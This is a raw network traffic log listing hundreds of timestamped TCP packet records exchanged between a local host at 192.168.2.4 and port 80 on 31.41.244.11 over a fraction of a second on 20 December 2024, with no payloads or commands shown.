Dec 20, 2024 07:12:11.143906116 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.143923044 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.143970013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.145371914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.145431042 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.145469904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.145529032 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.146895885 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.146941900 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.146986961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.147038937 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.148422003 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.148478031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.148531914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.148577929 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.149920940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.149986029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.149987936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.150033951 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.151422024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.151487112 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.151526928 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.151597977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.152919054 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.152965069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.153004885 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.153053999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.154392004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.154448986 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.154500961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.154541969 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.155858040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.155924082 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.155982971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.156028032 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.157345057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.157392025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.157444000 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.157488108 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.158801079 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.158858061 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.158929110 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.158982992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.160223961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.160276890 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.160336018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.160427094 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.161673069 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.161720037 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.161772013 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.161813974 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.163114071 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.163156986 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.163208961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.163259029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.164609909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.164674997 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.164695978 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.164743900 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.166028023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.166078091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.166156054 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.166198969 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.167473078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.167517900 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.167562008 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.167618036 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.168919086 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.168962955 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.169008970 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.169054031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.170363903 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.170420885 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.170444012 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.170485020 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.171786070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.171830893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.171907902 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.171951056 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.173229933 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.173280954 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.173330069 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.173428059 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.174791098 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.174843073 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.174879074 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.174933910 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.176203012 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.176249027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.176346064 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.176392078 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.177805901 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.177823067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.177860022 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.177890062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.178968906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.179028034 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.179073095 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.179124117 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.180424929 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.180479050 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.180537939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.180594921 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.181855917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.181914091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.181952953 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.182003021 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.183296919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.183348894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.183392048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.183442116 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.184741020 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.184798002 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.184806108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.184858084 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.186177969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.186234951 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.186285973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.186335087 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.187629938 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.187685013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.187736034 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.187781096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.189069986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.189122915 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.189174891 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.189223051 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.190507889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.190562963 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.190608025 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.190658092 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.191961050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.192007065 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.303008080 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.303091049 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.303158998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.303201914 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.303518057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.303577900 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.303621054 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.303687096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.304626942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.304687023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.304732084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.304795980 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.305672884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.305718899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.305723906 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.305766106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.306752920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.306802034 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.306860924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.306905985 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.307759047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.307821989 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.307851076 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.307897091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.308794975 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.308852911 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.308864117 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.308908939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.309858084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.309906006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.310002089 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.310046911 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.310894966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.310941935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.310985088 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.311034918 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.311903954 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.311949015 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.311990023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.312032938 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.312899113 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.312956095 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.313028097 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.313079119 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.313916922 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.313970089 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.314018965 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.314068079 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.314948082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.314996004 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.315058947 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.315104008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.315932035 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.315978050 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.316093922 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.316139936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.316953897 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.317006111 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.317070007 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.317121029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.317954063 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.318011999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.318054914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.318104029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.318938017 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.318986893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.319061995 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.319108009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.319956064 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.320005894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.320049047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.320091009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.320956945 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.321006060 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.321049929 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.321100950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.321996927 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.322043896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.322113991 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.322160959 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.322977066 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.323036909 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.323080063 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.323132038 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.323987007 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.324038029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.324081898 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.324132919 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.325011969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.325067043 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.325123072 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.325174093 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.325994015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.326051950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.326101065 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.326153994 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.327019930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.327071905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.327156067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.327203035 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.328043938 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.328102112 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.328114986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.328166008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.329005957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.329058886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.329060078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.329114914 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.330009937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.330065012 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.330126047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.330178976 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.331022978 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.331075907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.331332922 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.331389904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.332073927 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.332123995 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.332123995 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.332176924 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.333030939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.333091021 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.333137989 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.333187103 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.334053040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.334108114 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.334117889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.334168911 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.336159945 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.336194038 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.336205006 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.336219072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.336251974 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.336252928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.336289883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.336340904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.337086916 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.337135077 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.337193966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.337234974 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.338097095 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.338145018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.338211060 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.338265896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.339102983 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.339154959 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.339198112 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.339252949 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.340101957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.340152979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.340193033 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.340233088 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.341125011 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.341176033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.341247082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.341291904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.342092991 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.342139006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.342230082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.342274904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.343133926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.343172073 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.343311071 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.343359947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.344197035 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.344243050 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.344260931 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.344305992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.345134020 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.345182896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.345232010 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.345277071 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.346163988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.346218109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.346260071 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.346306086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.347130060 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.347176075 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.347248077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.347290039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.348128080 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.348177910 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.348234892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.348280907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.349133968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.349184990 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.349246979 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.349291086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.350142002 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.350193977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.350258112 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.350302935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.351149082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.351195097 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.351274014 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.351331949 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.352161884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.352210999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.352253914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.352303028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.353177071 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.353233099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.353271008 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.353328943 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.354180098 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.354237080 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.354279995 CET	80	49759	31.41.244.11	192.168.2.4
